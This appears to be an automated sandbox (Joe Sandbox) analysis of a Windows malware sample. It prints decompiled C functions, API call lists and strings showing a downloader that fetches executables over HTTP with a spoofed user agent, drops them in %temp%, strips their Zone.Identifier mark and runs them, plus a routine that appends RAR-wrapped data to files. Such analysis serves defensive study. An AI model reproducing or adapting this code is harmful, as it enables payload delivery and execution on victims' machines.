					_push( &_v2604);
					L00401030();
					_t182 = _t182 + 0x10;
					DeleteFileW( &_v2604);
					Sleep(0x1f4);
					if((E004035DF( &_v3140) & 0x000000ff) != 0) {
						_v1045 = 1;
					}
					goto L8;
				} else {
					WriteFile(_v2080,  &_v524, _v2612,  &_v2608, 0);
					goto L3;
				}
			}

0x0040437a
0x00404381
0x00404383
0x00404398
0x004043ae
0x004043c4
0x004043da
0x004043f0
0x004043fe
0x004043ff
0x00404404
0x0040440f
0x00404410
0x00404429
0x00404436
0x0040444a
0x00404452
0x00404457
0x00404465
0x00404466
0x0040446b
0x00404479
0x0040447a
0x0040447f
0x0040448d
0x00404494
0x00404495
0x0040449a
0x004044a5
0x004044a6
0x004044ab
0x004044c1
0x004044ce
0x004045f8
0x004045fe
0x00404609
0x00404618
0x0040462c
0x00404634
0x00404639
0x00404647
0x00404648
0x0040464d
0x0040465b
0x0040465c
0x00404661
0x0040466f
0x00404676
0x00404677
0x0040467c
0x00404687
0x00404688
0x00404690
0x00404692
0x0040469a
0x0040469b
0x004046a1
0x004046a2
0x004046a4
0x004046ab
0x004046bb
0x004046c9
0x004046ca
0x004046cf
0x004046da
0x004046db
0x004046ea
0x004046f5
0x00404702
0x00404707
0x004046ab
0x0040470a
0x0040470a
0x004044ef
0x004044fc
0x004045ec
0x004045f2
0x00000000
0x004045f2
0x0040451e
0x0040452b
0x004045e0
0x004045e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404531
0x00404552
0x00404587
0x00404593
0x00404594
0x00404599
0x004045a4
0x004045a5
0x004045aa
0x004045b4
0x004045bf
0x004045d7
0x004045d9
0x004045d9
0x00000000
0x0040455d
0x00404579
0x00000000
0x00404579

APIs

memset.MSVCRT ref: 00404398
memset.MSVCRT ref: 004043AE
memset.MSVCRT ref: 004043C4
memset.MSVCRT ref: 004043DA
memset.MSVCRT ref: 004043F0
_snwprintf.MSVCRT ref: 00404410
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 00404429
GetTickCount.KERNEL32 ref: 0040442F
srand.MSVCRT ref: 00404436
memset.MSVCRT ref: 0040444A
rand.MSVCRT ref: 00404452
rand.MSVCRT ref: 00404466
rand.MSVCRT ref: 0040447A
_snwprintf.MSVCRT ref: 004044A6
InternetOpenW.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 004044BB
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004044E9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00404518
InternetReadFile.WININET(00000000,?,00000207,?), ref: 0040454A
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 00404579
CloseHandle.KERNEL32(000000FF), ref: 00404587
_snwprintf.MSVCRT ref: 004045A5
DeleteFileW.KERNEL32(?), ref: 004045B4
Sleep.KERNEL32(000001F4), ref: 004045BF
CloseHandle.KERNEL32(000000FF), ref: 004045E6
InternetCloseHandle.WININET(00000000), ref: 004045F2
InternetCloseHandle.WININET(00000000), ref: 004045FE
Sleep.KERNEL32(000001F4), ref: 00404609
memset.MSVCRT ref: 0040462C
rand.MSVCRT ref: 00404634
rand.MSVCRT ref: 00404648
rand.MSVCRT ref: 0040465C
_snwprintf.MSVCRT ref: 00404688
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 004046A4
memset.MSVCRT ref: 004046BB
_snwprintf.MSVCRT ref: 004046DB
DeleteFileW.KERNEL32(?), ref: 004046EA
Sleep.KERNEL32(000001F4), ref: 004046F5

Part of subcall function 004035DF: memset.MSVCRT ref: 004035EE
Part of subcall function 004035DF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Part of subcall function 004035DF: Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
Part of subcall function 004035DF: ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

ExitThread.KERNEL32 ref: 0040470A

Strings

%ls\%d%d%d.exe, xrefs: 00404495
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0, xrefs: 004044B6
%ls:Zone.Identifier, xrefs: 004046CA
%ls:Zone.Identifier, xrefs: 00404594
%temp%, xrefs: 00404424
%hs, xrefs: 004043FF
%ls\%d%d%d.exe, xrefs: 00404677

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: memset$Filerand$Internet_snwprintf$CloseHandleSleep$CreateDeleteOpen$CountDownloadEnvironmentExecuteExitExpandProcessReadShellStringsThreadTickWritesrand
String ID: %hs$%ls:Zone.Identifier$%ls:Zone.Identifier$%ls\%d%d%d.exe$%ls\%d%d%d.exe$%temp%$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
API String ID: 314448667-2981563511
Opcode ID: 552a3d82205d720c9511e5e7ff7d7e611b2764c6d7fd600c9a51d6b1d54fd836
Instruction ID: a0c79094a59acbf56f832477cd9f29c162b4d81c5efd7afe24003f585bfe1a2a
Opcode Fuzzy Hash: 552a3d82205d720c9511e5e7ff7d7e611b2764c6d7fd600c9a51d6b1d54fd836
Instruction Fuzzy Hash: C4917471A803186AEB20AB50DC4AFDA777CAB04700F0445BAB749F50D1DE7CABD48F69

Uniqueness

Uniqueness Score: 100.00%

Function 00402807, Relevance: 63.2, APIs: 26, Strings: 10, Instructions: 220
filestringUNIQUE

C-Code - Quality: 100%

			E00402807(WCHAR* _a4, WCHAR* _a8, void* _a12, intOrPtr _a16) {
				char _v130;
				void _v132;
				void* _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				intOrPtr _v160;
				signed int _v162;
				char _v163;
				char _v164;
				intOrPtr _v172;
				long _v177;
				long _v181;
				short _v183;
				short _v185;
				char _v186;
				void _v188;
				long _v192;
				void* _v196;
				void* _v200;
				void* _v204;
				long _v208;
				long _v212;
				void* _v216;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				void _v224;
				signed int _t167;
				signed int _t171;

				_v156 = 0x52;
				_v155 = 0x61;
				_v154 = 0x72;
				_v153 = 0x21;
				_v152 = 0x1a;
				_v151 = 7;
				_v150 = 0;
				_v149 = 0xcf;
				_v148 = 0x90;
				_v147 = 0x73;
				_v146 = 0;
				_v145 = 0;
				_v144 = 0xd;
				_v143 = 0;
				_v142 = 0;
				_v141 = 0;
				_v140 = 0;
				_v139 = 0;
				_v138 = 0;
				_v137 = 0;
				_v224 = 0xc4;
				_v223 = 0x3d;
				_v222 = 0x7b;
				_v221 = 0;
				_v220 = 0x40;
				_v219 = 7;
				_v218 = 0;
				_v196 = CreateFileW(_a8, 0x80000000, 1, 0, 3, 0x80, 0);
				if(_v196 != 0xffffffff) {
					_v212 = GetFileSize(_v196, 0);
					if(_v212 != 0xffffffff) {
						_v216 = CreateFileW(_a4, 0x40000000, 1, 0, 3, 0x80, 0);
						_v208 = GetFileSize(_v216, 0);
						if(_v208 != 0xffffffff) {
							SetFilePointer(_v216, _v208 - 7, 0, 0);
							_v204 = CreateFileMappingA(_v196, 0, 2, 0, 0, 0);
							if(_v204 != 0) {
								_v200 = MapViewOfFile(_v204, 4, 0, 0, 0);
								if(_v200 != 0) {
									_t167 = 8;
									memset( &_v188, 0, _t167 << 2);
									_v186 = 0x74;
									_v172 = E00402767(0, _v200, _v212);
									_v185 = 0x8000;
									_v163 = 0x30;
									_v164 = 0x14;
									_v160 = _a16;
									_v177 = _v212;
									_v181 = _v212;
									_v162 = lstrlenA(_a12);
									_v183 = (_v162 & 0x0000ffff) + 0x20;
									memset( &_v132, 0, 0x80);
									_t171 = 8;
									memcpy( &_v132,  &_v188, _t171 << 2);
									_v136 =  &_v132;
									_v136 = _v136 + 0x20;
									memcpy(_v136, _a12, _v162 & 0x0000ffff);
									_v188 = E00402767(0,  &_v130, (_v162 & 0x0000ffff) + 0x1e);
									WriteFile(_v216,  &_v188, 0x20,  &_v192, 0);
									WriteFile(_v216, _a12, _v162 & 0x0000ffff,  &_v192, 0);
									WriteFile(_v216, _v200, _v212,  &_v192, 0);
									WriteFile(_v216,  &_v224, 7,  &_v192, 0);
									UnmapViewOfFile(_v200);
									CloseHandle(_v204);
									CloseHandle(_v196);
									CloseHandle(_v216);
									return 1;
								}
								CloseHandle(_v204);
								CloseHandle(_v196);
								CloseHandle(_v216);
								return 0;
							}
							CloseHandle(_v196);
							CloseHandle(_v216);
							return 0;
						}
						CloseHandle(_v196);
						CloseHandle(_v216);
						return 0;
					}
					CloseHandle(_v196);
					return 0;
				}
				return 0;
			}

0x00402812
0x00402819
0x00402820
0x00402827
0x0040282e
0x00402835
0x0040283c
0x00402843
0x0040284a
0x00402851
0x00402858
0x0040285f
0x00402866
0x0040286d
0x00402874
0x0040287b
0x00402882
0x00402889
0x00402890
0x00402897
0x0040289e
0x004028a5
0x004028ac
0x004028b3
0x004028ba
0x004028c1
0x004028c8
0x004028ea
0x004028f7
0x0040290e
0x0040291b
0x0040294b
0x0040295f
0x0040296c
0x004029a1
0x004029bd
0x004029ca
0x004029ff
0x00402a0c
0x00402a3b
0x00402a44
0x00402a46
0x00402a60
0x00402a6b
0x00402a72
0x00402a79
0x00402a83
0x00402a8f
0x00402a9b
0x00402aaa
0x00402abb
0x00402acd
0x00402ad7
0x00402ae1
0x00402ae6
0x00402af5
0x00402b0c
0x00402b2a
0x00402b49
0x00402b69
0x00402b8a
0x00402ba8
0x00402bb4
0x00402bc0
0x00402bcc
0x00402bd8
0x00000000
0x00402be0
0x00402a14
0x00402a20
0x00402a2c
0x00000000
0x00402a32
0x004029d2
0x004029de
0x00000000
0x004029e4
0x00402974
0x00402980
0x00000000
0x00402986
0x00402923
0x00000000
0x00402929
0x00000000

APIs

CreateFileW.KERNEL32(0040ABD0,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004028E4
GetFileSize.KERNEL32(000000FF,00000000), ref: 00402908
CloseHandle.KERNEL32(000000FF), ref: 00402923
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00402945
GetFileSize.KERNEL32(?,00000000), ref: 00402959
CloseHandle.KERNEL32(000000FF), ref: 00402974
CloseHandle.KERNEL32(?), ref: 00402980
SetFilePointer.KERNEL32(?,000000F8,00000000,00000000), ref: 004029A1
CreateFileMappingA.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004029B7
CloseHandle.KERNEL32(000000FF), ref: 004029D2
CloseHandle.KERNEL32(?), ref: 004029DE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004029F9
CloseHandle.KERNEL32(00000000), ref: 00402A14
CloseHandle.KERNEL32(000000FF), ref: 00402A20
CloseHandle.KERNEL32(?), ref: 00402A2C

Part of subcall function 00402767: GlobalAlloc.KERNEL32(00000040,00000400,?,?,?,00000008,00000008,?,00402A5E,00000000,000000FF), ref: 00402776
Part of subcall function 00402767: GlobalFree.KERNEL32(00000000), ref: 004027F5

lstrlenA.KERNEL32(?), ref: 00402AA4
memset.MSVCRT ref: 00402ACD
memcpy.MSVCRT ref: 00402B0C
WriteFile.KERNEL32(?,?,00000020,?,00000000), ref: 00402B49
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00402B69
WriteFile.KERNEL32(?,00000000,000000FF,?,00000000), ref: 00402B8A
WriteFile.KERNEL32(?,000000C4,00000007,?,00000000), ref: 00402BA8
UnmapViewOfFile.KERNEL32(00000000), ref: 00402BB4
CloseHandle.KERNEL32(00000000), ref: 00402BC0
CloseHandle.KERNEL32(000000FF), ref: 00402BCC
CloseHandle.KERNEL32(?), ref: 00402BD8

Strings

t, xrefs: 00402A46
=, xrefs: 004028A5
R, xrefs: 00402812
!, xrefs: 00402827
{, xrefs: 004028AC
@, xrefs: 004028BA
0, xrefs: 00402A72
s, xrefs: 00402851
a, xrefs: 00402819
r, xrefs: 00402820

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: File$CloseHandle$Write$Create$GlobalSizeView$AllocFreeMappingPointerUnmaplstrlenmemcpymemset
String ID: !$0$=$@$R$a$r$s$t${
API String ID: 106833918-2261256852
Opcode ID: 1ea0ef303b9b44958b9eeecfd148ff30cb7803888f60dfcb42b3d544ed60aa98
Instruction ID: 00c43a9bcbb9e809788d61d67805a5e254fdac8091ed57866dff7502e194322d
Opcode Fuzzy Hash: 1ea0ef303b9b44958b9eeecfd148ff30cb7803888f60dfcb42b3d544ed60aa98
Instruction Fuzzy Hash: F6B11B31D08268EEEF219B64DD09B99BBB5BF05304F0041E6E64CBA1E1C7B51E84DF66

Uniqueness

Uniqueness Score: 100.00%

Function 00402BE5, Relevance: 49.4, APIs: 12, Strings: 16, Instructions: 428
networkUNIQUE

C-Code - Quality: 92%

			E00402BE5(char* _a4) {
				long _v8;
				intOrPtr* _v12;
				void* _v16;
				void _v20;
				void _v24;
				void _v28;
				void _v32;
				void* _v36;
				void _v40;
				intOrPtr* _v44;
				intOrPtr* _v48;
				signed int _v49;
				signed int _v50;
				signed int _v56;
				signed int _v60;
				intOrPtr* _v64;
				intOrPtr* _v68;
				signed int _v69;
				signed int _v70;
				signed int _v76;
				signed int _v80;
				intOrPtr* _v84;
				intOrPtr* _v88;
				signed int _v89;
				signed int _v90;
				signed int _v96;
				signed int _v100;
				intOrPtr* _v104;
				intOrPtr* _v108;
				signed int _v109;
				signed int _v110;
				signed int _v116;
				signed int _v120;
				intOrPtr* _v124;
				intOrPtr* _v128;
				signed int _v129;
				signed int _v130;
				signed int _v136;
				signed int _v140;
				intOrPtr* _v144;
				intOrPtr* _v148;
				signed int _v149;
				signed int _v150;
				signed int _v156;
				signed int _v160;
				intOrPtr* _v164;
				intOrPtr* _v168;
				signed int _v169;
				signed int _v170;
				signed int _v176;
				signed int _v180;
				intOrPtr* _v184;
				intOrPtr* _v188;
				signed int _v189;
				signed int _v190;
				signed int _v196;
				signed int _v200;
				intOrPtr* _v204;
				intOrPtr* _v208;
				signed int _v209;
				signed int _v210;
				signed int _v216;
				signed int _v220;
				intOrPtr* _v224;
				intOrPtr* _v228;
				signed int _v229;
				signed int _v230;
				signed int _v236;
				signed int _v240;
				signed int _t287;
				signed int _t291;
				signed int _t295;
				signed int _t299;
				signed int _t303;
				signed int _t309;
				signed int _t313;
				signed int _t317;
				signed int _t321;
				signed int _t325;
				intOrPtr _t327;
				intOrPtr _t331;
				intOrPtr _t335;
				intOrPtr _t339;
				intOrPtr _t343;

				_v36 = InternetOpenA("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0", 1, 0, 0, 0);
				if(_v36 == 0) {
					L104:
					InternetCloseHandle(_v36);
					return 0;
				}
				_v16 = InternetOpenUrlA(_v36, _a4, 0, 0, 0, 0);
				if(_v16 == 0) {
					L103:
					InternetCloseHandle(_v16);
					goto L104;
				}
				_v12 = PathFindFileNameA(_a4);
				if(_v12 == 0) {
					goto L103;
				}
				_v44 = "t.exe";
				_v48 = _v12;
				while(1) {
					_t287 =  *_v48;
					_v49 = _t287;
					if(_t287 !=  *_v44) {
						break;
					}
					if(_v49 == 0) {
						L8:
						_v56 = _v56 & 0x00000000;
						L10:
						_v60 = _v56;
						if(_v60 == 0) {
							_v8 = 4;
							HttpQueryInfoA(_v16, 0x20000005,  &_v32,  &_v8, 0);
						}
						_v64 = "m.exe";
						_v68 = _v12;
						while(1) {
							_t291 =  *_v68;
							_v69 = _t291;
							if(_t291 !=  *_v64) {
								break;
							}
							if(_v69 == 0) {
								L17:
								_v76 = _v76 & 0x00000000;
								L19:
								_v80 = _v76;
								if(_v80 == 0) {
									_v8 = 4;
									HttpQueryInfoA(_v16, 0x20000005,  &_v40,  &_v8, 0);
								}
								_v84 = "p.exe";
								_v88 = _v12;
								while(1) {
									_t295 =  *_v88;
									_v89 = _t295;
									if(_t295 !=  *_v84) {
										break;
									}
									if(_v89 == 0) {
										L26:
										_v96 = _v96 & 0x00000000;
										L28:
										_v100 = _v96;
										if(_v100 == 0) {
											_v8 = 4;
											HttpQueryInfoA(_v16, 0x20000005,  &_v28,  &_v8, 0);
										}
										_v104 = "s.exe";
										_v108 = _v12;
										while(1) {
											_t299 =  *_v108;
											_v109 = _t299;
											if(_t299 !=  *_v104) {
												break;
											}
											if(_v109 == 0) {
												L35:
												_v116 = _v116 & 0x00000000;
												L37:
												_v120 = _v116;
												if(_v120 == 0) {
													_v8 = 4;
													HttpQueryInfoA(_v16, 0x20000005,  &_v24,  &_v8, 0);
												}
												_v124 = "o.exe";
												_v128 = _v12;
												while(1) {
													_t303 =  *_v128;
													_v129 = _t303;
													if(_t303 !=  *_v124) {
														break;
													}
													if(_v129 == 0) {
														L44:
														_v136 = _v136 & 0x00000000;
														L46:
														_v140 = _v136;
														if(_v140 == 0) {
															_v8 = 4;
															HttpQueryInfoA(_v16, 0x20000005,  &_v20,  &_v8, 0);
														}
														InternetCloseHandle(_v16);
														InternetCloseHandle(_v36);
														_v144 = "t.exe";
														_v148 = _v12;
														while(1) {
															_t309 =  *_v148;
															_v149 = _t309;
															if(_t309 !=  *_v144) {
																break;
															}
															if(_v149 == 0) {
																L53:
																_v156 = _v156 & 0x00000000;
																L55:
																_v160 = _v156;
																if(_v160 != 0 || _v32 <= 0x7530) {
																	L59:
																	_v164 = "m.exe";
																	_v168 = _v12;
																	while(1) {
																		_t313 =  *_v168;
																		_v169 = _t313;
																		if(_t313 !=  *_v164) {
																			break;
																		}
																		if(_v169 == 0) {
																			L64:
																			_v176 = _v176 & 0x00000000;
																			L66:
																			_v180 = _v176;
																			if(_v180 != 0 || _v40 <= 0x7530) {
																				L70:
																				_v184 = "p.exe";
																				_v188 = _v12;
																				while(1) {
																					_t317 =  *_v188;
																					_v189 = _t317;
																					if(_t317 !=  *_v184) {
																						break;
																					}
																					if(_v189 == 0) {
																						L75:
																						_v196 = _v196 & 0x00000000;
																						L77:
																						_v200 = _v196;
																						if(_v200 != 0 || _v28 <= 0x7530) {
																							L81:
																							_v204 = "s.exe";
																							_v208 = _v12;
																							while(1) {
																								_t321 =  *_v208;
																								_v209 = _t321;
																								if(_t321 !=  *_v204) {
																									break;
																								}
																								if(_v209 == 0) {
																									L86:
																									_v216 = _v216 & 0x00000000;
																									L88:
																									_v220 = _v216;
																									if(_v220 != 0 || _v24 <= 0x7530) {
																										L92:
																										_v224 = "o.exe";
																										_v228 = _v12;
																										while(1) {
																											_t325 =  *_v228;
																											_v229 = _t325;
																											if(_t325 !=  *_v224) {
																												break;
																											}
																											if(_v229 == 0) {
																												L97:
																												_v236 = _v236 & 0x00000000;
																												L99:
																												_v240 = _v236;
																												if(_v240 != 0 || _v20 <= 0x7530) {
																													goto L103;
																												} else {
																													_t327 =  *0x40add8; // 0x0
																													if(_t327 == _v20) {
																														goto L103;
																													}
																													 *0x40add8 = _v20;
																													return 1;
																												}
																											}
																											_t325 =  *((intOrPtr*)(_v228 + 1));
																											_v230 = _t325;
																											_t262 = _v224 + 1; // 0x6578652e
																											if(_t325 !=  *_t262) {
																												break;
																											}
																											_v228 = _v228 + 2;
																											_v224 = _v224 + 2;
																											if(_v230 != 0) {
																												continue;
																											}
																											goto L97;
																										}
																										asm("sbb eax, eax");
																										asm("sbb eax, 0xffffffff");
																										_v236 = _t325;
																										goto L99;
																									} else {
																										_t331 =  *0x40ade4; // 0x0
																										if(_t331 == _v24) {
																											goto L92;
																										}
																										 *0x40ade4 = _v24;
																										return 1;
																									}
																								}
																								_t321 =  *((intOrPtr*)(_v208 + 1));
																								_v210 = _t321;
																								_t236 = _v204 + 1; // 0x6578652e
																								if(_t321 !=  *_t236) {
																									break;
																								}
																								_v208 = _v208 + 2;
																								_v204 = _v204 + 2;
																								if(_v210 != 0) {
																									continue;
																								}
																								goto L86;
																							}
																							asm("sbb eax, eax");
																							asm("sbb eax, 0xffffffff");
																							_v216 = _t321;
																							goto L88;
																						} else {
																							_t335 =  *0x40addc; // 0x0
																							if(_t335 == _v28) {
																								goto L81;
																							}
																							 *0x40addc = _v28;
																							return 1;
																						}
																					}
																					_t317 =  *((intOrPtr*)(_v188 + 1));
																					_v190 = _t317;
																					_t210 = _v184 + 1; // 0x6578652e
																					if(_t317 !=  *_t210) {
																						break;
																					}
																					_v188 = _v188 + 2;
																					_v184 = _v184 + 2;
																					if(_v190 != 0) {
																						continue;
																					}
																					goto L75;
																				}
																				asm("sbb eax, eax");
																				asm("sbb eax, 0xffffffff");
																				_v196 = _t317;
																				goto L77;
																			} else {
																				_t339 =  *0x40ade0; // 0x0
																				if(_t339 == _v40) {
																					goto L70;
																				}
																				 *0x40ade0 = _v40;
																				return 1;
																			}
																		}
																		_t313 =  *((intOrPtr*)(_v168 + 1));
																		_v170 = _t313;
																		_t184 = _v164 + 1; // 0x6578652e
																		if(_t313 !=  *_t184) {
																			break;
																		}
																		_v168 = _v168 + 2;
																		_v164 = _v164 + 2;
																		if(_v170 != 0) {
																			continue;
																		}
																		goto L64;
																	}
																	asm("sbb eax, eax");
																	asm("sbb eax, 0xffffffff");
																	_v176 = _t313;
																	goto L66;
																} else {
																	_t343 =  *0x40a9c4; // 0x0
																	if(_t343 == _v32) {
																		goto L59;
																	}
																	 *0x40a9c4 = _v32;
																	return 1;
																}
															}
															_t309 =  *((intOrPtr*)(_v148 + 1));
															_v150 = _t309;
															_t158 = _v144 + 1; // 0x6578652e
															if(_t309 !=  *_t158) {
																break;
															}
															_v148 = _v148 + 2;
															_v144 = _v144 + 2;
															if(_v150 != 0) {
																continue;
															}
															goto L53;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														_v156 = _t309;
														goto L55;
													}
													_t303 =  *((intOrPtr*)(_v128 + 1));
													_v130 = _t303;
													_t129 = _v124 + 1; // 0x6578652e
													if(_t303 !=  *_t129) {
														break;
													}
													_v128 = _v128 + 2;
													_v124 = _v124 + 2;
													if(_v130 != 0) {
														continue;
													}
													goto L44;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												_v136 = _t303;
												goto L46;
											}
											_t299 =  *((intOrPtr*)(_v108 + 1));
											_v110 = _t299;
											_t102 = _v104 + 1; // 0x6578652e
											if(_t299 !=  *_t102) {
												break;
											}
											_v108 = _v108 + 2;
											_v104 = _v104 + 2;
											if(_v110 != 0) {
												continue;
											}
											goto L35;
										}
										asm("sbb eax, eax");
										asm("sbb eax, 0xffffffff");
										_v116 = _t299;
										goto L37;
									}
									_t295 =  *((intOrPtr*)(_v88 + 1));
									_v90 = _t295;
									_t75 = _v84 + 1; // 0x6578652e
									if(_t295 !=  *_t75) {
										break;
									}
									_v88 = _v88 + 2;
									_v84 = _v84 + 2;
									if(_v90 != 0) {
										continue;
									}
									goto L26;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								_v96 = _t295;
								goto L28;
							}
							_t291 =  *((intOrPtr*)(_v68 + 1));
							_v70 = _t291;
							_t48 = _v64 + 1; // 0x6578652e
							if(_t291 !=  *_t48) {
								break;
							}
							_v68 = _v68 + 2;
							_v64 = _v64 + 2;
							if(_v70 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						_v76 = _t291;
						goto L19;
					}
					_t287 =  *((intOrPtr*)(_v48 + 1));
					_v50 = _t287;
					_t21 = _v44 + 1; // 0x6578652e
					if(_t287 !=  *_t21) {
						break;
					}
					_v48 = _v48 + 2;
					_v44 = _v44 + 2;
					if(_v50 != 0) {
						continue;
					}
					goto L8;
				}
				asm("sbb eax, eax");
				asm("sbb eax, 0xffffffff");
				_v56 = _t287;
				goto L10;
			}

0x00402c01
0x00402c08
0x0040323e
0x00403241
0x00000000
0x00403247
0x00402c22
0x00402c29
0x00403235
0x00403238
0x00000000
0x00403238
0x00402c38
0x00402c3f
0x00000000
0x00000000
0x00402c45
0x00402c4f
0x00402c52
0x00402c55
0x00402c57
0x00402c5f
0x00000000
0x00000000
0x00402c65
0x00402c86
0x00402c86
0x00402c94
0x00402c97
0x00402c9e
0x00402ca0
0x00402cb9
0x00402cb9
0x00402cbf
0x00402cc9
0x00402ccc
0x00402ccf
0x00402cd1
0x00402cd9
0x00000000
0x00000000
0x00402cdf
0x00402d00
0x00402d00
0x00402d0e
0x00402d11
0x00402d18
0x00402d1a
0x00402d33
0x00402d33
0x00402d39
0x00402d43
0x00402d46
0x00402d49
0x00402d4b
0x00402d53
0x00000000
0x00000000
0x00402d59
0x00402d7a
0x00402d7a
0x00402d88
0x00402d8b
0x00402d92
0x00402d94
0x00402dad
0x00402dad
0x00402db3
0x00402dbd
0x00402dc0
0x00402dc3
0x00402dc5
0x00402dcd
0x00000000
0x00000000
0x00402dd3
0x00402df4
0x00402df4
0x00402e02
0x00402e05
0x00402e0c
0x00402e0e
0x00402e27
0x00402e27
0x00402e2d
0x00402e37
0x00402e3a
0x00402e3d
0x00402e3f
0x00402e47
0x00000000
0x00000000
0x00402e4d
0x00402e6e
0x00402e6e
0x00402e82
0x00402e88
0x00402e95
0x00402e97
0x00402eb0
0x00402eb0
0x00402eb9
0x00402ec2
0x00402ec8
0x00402ed5
0x00402edb
0x00402ee1
0x00402ee3
0x00402ef1
0x00000000
0x00000000
0x00402efa
0x00402f2d
0x00402f2d
0x00402f41
0x00402f47
0x00402f54
0x00402f78
0x00402f78
0x00402f85
0x00402f8b
0x00402f91
0x00402f93
0x00402fa1
0x00000000
0x00000000
0x00402faa
0x00402fdd
0x00402fdd
0x00402ff1
0x00402ff7
0x00403004
0x00403028
0x00403028
0x00403035
0x0040303b
0x00403041
0x00403043
0x00403051
0x00000000
0x00000000
0x0040305a
0x0040308d
0x0040308d
0x004030a1
0x004030a7
0x004030b4
0x004030d8
0x004030d8
0x004030e5
0x004030eb
0x004030f1
0x004030f3
0x00403101
0x00000000
0x00000000
0x0040310a
0x0040313d
0x0040313d
0x00403151
0x00403157
0x00403164
0x00403188
0x00403188
0x00403195
0x0040319b
0x004031a1
0x004031a3
0x004031b1
0x00000000
0x00000000
0x004031ba
0x004031ed
0x004031ed
0x00403201
0x00403207
0x00403214
0x00000000
0x0040321f
0x0040321f
0x00403227
0x00000000
0x00000000
0x0040322c
0x00000000
0x00403231
0x00403214
0x004031c2
0x004031c5
0x004031d1
0x004031d4
0x00000000
0x00000000
0x004031d6
0x004031dd
0x004031eb
0x00000000
0x00000000
0x00000000
0x004031eb
0x004031f6
0x004031f8
0x004031fb
0x00000000
0x0040316f
0x0040316f
0x00403177
0x00000000
0x00000000
0x0040317c
0x00000000
0x00403181
0x00403164
0x00403112
0x00403115
0x00403121
0x00403124
0x00000000
0x00000000
0x00403126
0x0040312d
0x0040313b
0x00000000
0x00000000
0x00000000
0x0040313b
0x00403146
0x00403148
0x0040314b
0x00000000
0x004030bf
0x004030bf
0x004030c7
0x00000000
0x00000000
0x004030cc
0x00000000
0x004030d1
0x004030b4
0x00403062
0x00403065
0x00403071
0x00403074
0x00000000
0x00000000
0x00403076
0x0040307d
0x0040308b
0x00000000
0x00000000
0x00000000
0x0040308b
0x00403096
0x00403098
0x0040309b
0x00000000
0x0040300f
0x0040300f
0x00403017
0x00000000
0x00000000
0x0040301c
0x00000000
0x00403021
0x00403004
0x00402fb2
0x00402fb5
0x00402fc1
0x00402fc4
0x00000000
0x00000000
0x00402fc6
0x00402fcd
0x00402fdb
0x00000000
0x00000000
0x00000000
0x00402fdb
0x00402fe6
0x00402fe8
0x00402feb
0x00000000
0x00402f5f
0x00402f5f
0x00402f67
0x00000000
0x00000000
0x00402f6c
0x00000000
0x00402f71
0x00402f54
0x00402f02
0x00402f05
0x00402f11
0x00402f14
0x00000000
0x00000000
0x00402f16
0x00402f1d
0x00402f2b
0x00000000
0x00000000
0x00000000
0x00402f2b
0x00402f36
0x00402f38
0x00402f3b
0x00000000
0x00402f3b
0x00402e52
0x00402e55
0x00402e5b
0x00402e5e
0x00000000
0x00000000
0x00402e60
0x00402e64
0x00402e6c
0x00000000
0x00000000
0x00000000
0x00402e6c
0x00402e77
0x00402e79
0x00402e7c
0x00000000
0x00402e7c
0x00402dd8
0x00402ddb
0x00402de1
0x00402de4
0x00000000
0x00000000
0x00402de6
0x00402dea
0x00402df2
0x00000000
0x00000000
0x00000000
0x00402df2
0x00402dfa
0x00402dfc
0x00402dff
0x00000000
0x00402dff
0x00402d5e
0x00402d61
0x00402d67
0x00402d6a
0x00000000
0x00000000
0x00402d6c
0x00402d70
0x00402d78
0x00000000
0x00000000
0x00000000
0x00402d78
0x00402d80
0x00402d82
0x00402d85
0x00000000
0x00402d85
0x00402ce4
0x00402ce7
0x00402ced
0x00402cf0
0x00000000
0x00000000
0x00402cf2
0x00402cf6
0x00402cfe
0x00000000
0x00000000
0x00000000
0x00402cfe
0x00402d06
0x00402d08
0x00402d0b
0x00000000
0x00402d0b
0x00402c6a
0x00402c6d
0x00402c73
0x00402c76
0x00000000
0x00000000
0x00402c78
0x00402c7c
0x00402c84
0x00000000
0x00000000
0x00000000
0x00402c84
0x00402c8c
